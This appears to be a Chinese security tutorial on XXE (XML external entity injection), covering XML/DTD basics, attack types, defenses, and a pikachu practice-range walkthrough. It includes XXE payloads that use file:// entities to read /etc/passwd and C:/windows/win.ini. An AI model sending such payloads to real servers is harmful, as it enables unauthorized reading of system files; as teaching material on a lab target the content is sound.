XXE(外部实体注入)

目录

学习xxe前提:了解xml格式

[1. XML基础](#1. XML基础)

[2. XXE基础知识](#2. XXE基础知识)

[2.1. 结构](#2.1. 结构)

[2.2. 定义与原理](#2.2. 定义与原理)

[2.3. XML实体类型](#2.3. XML实体类型)

[2.4. 攻击类型](#2.4. 攻击类型)

[2.5. 防御措施](#2.5. 防御措施)

[3. pikachu靶场xxe练习](#3. pikachu靶场xxe练习)


学习xxe前提:了解xml格式

1. XML基础

文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD文档

<!DOCTYPE 根元素 SYSTEM "文件名">

<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">


内部声明实体

<!ENTITY 实体名称 "实体的值">

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI">

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

调用方式:&实体名称;

设计它的目的是传输数据。XML语言的出现核心是用来展示及数据的交互

2. XXE基础知识

2.1. 结构

2.2. 定义与原理

XXE(XML External Entity)即XML外部实体注入攻击 ,利用XML解析器的配置缺陷 ,通过构造恶意外部实体,读取文件、发起SSRF攻击或执行远程 代码 。XML允许自定义实体,当解析器处理外部实体(SYSTEM关键字)时,若未严格限制,攻击者可注入恶意实体访问系统资源。

服务端接收了并解析了来自用户端的xml数据,但是没有做到严格的分析和过滤,导致外部实体注入

2.3. XML实体类型

  • 内部实体 :在文档内定义,如 <!ENTITY name "value">
  • 外部实体 :引用外部资源,如 <!ENTITY ext SYSTEM "file:///etc/passwd">
  • 参数实体 :用于DTD内部,以%声明,如 <!ENTITY %n param "content">

%n表示=content,也可以理解为调用。

2.4. 攻击类型

  • 文件读取 :利用file://协议读取服务器文件(如/etc/passwd)。
  • SSRF(服务端请求伪造) :通过http://等协议探测内网服务。
  • 拒绝服务(DoS) :加载大文件(如/dev/random)耗尽资源。
  • 远程代码执行(RCE) :需特定环境支持(如PHP的expect模块)。
  • 综合能力,主要学会融会贯通,洞与洞之间的联通,

2.5. 防御措施

  • 禁用外部实体 :配置解析器禁用DTD和外部实体(如Java的DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true))。
  • 使用安全解析器 :如Python的defusedxml库。
  • 输入过滤 :移除XML中的DOCTYPE声明和敏感关键字。
  • 数据格式替代:优先使用JSON等非XML格式。

3. pikachu靶场xxe练习

如图所示,图中具有一个接口,可以接受我所打入的xml代码。

现在我使用下面xml码传输数据

<?xml version = "1.0"?>

<!DOCTYPE note [

<!ENTITY hacker "shuaitan">

]>

<name>&hacker;</name>

具有回显

构造payload

接下来利用file协议进行敏感文件查看

查看文件: win.ini 该文件之前在文件包含时也查询过

是系统的默认文件

<?xml version = "1.0"?>

<!DOCTYPE note [

<!ENTITY hacker SYSTEM "file:///C:/windows/win.ini">

]>

<name>&hacker;</name>

敏感文件查看:

相关推荐
前端加油站10 分钟前
在 cursor 成为流行的开发方式后,作为普通开发我们能做什么
前端
Cache技术分享18 分钟前
163. Java Lambda 表达式 - Function 的链式组合
前端·后端
Zestia35 分钟前
页面点击跳转源代码?——element-jumper插件实现
前端·javascript
前端小白199535 分钟前
面试取经:工程化篇-webpack性能优化之优化loader性能
前端·面试·前端工程化
PineappleCoder35 分钟前
大小写 + 标点全搞定!JS 如何精准统计单词频率?
前端·javascript·算法
zhangbao90s36 分钟前
Web组件:使用Shadow DOM
前端
hhy前端之旅37 分钟前
语义版本控制:掌握版本管理的艺术
前端
coding随想37 分钟前
深入浅出DOM操作的隐藏利器:Range(范围)对象——掌控文档的“手术刀”
前端
前端小白199537 分钟前
面试取经:工程化篇-webpack性能优化之减少模块解析
前端·面试·前端工程化
一枚前端小能手38 分钟前
🏗️ 项目越来越大维护不动了,微前端架构了解一下
前端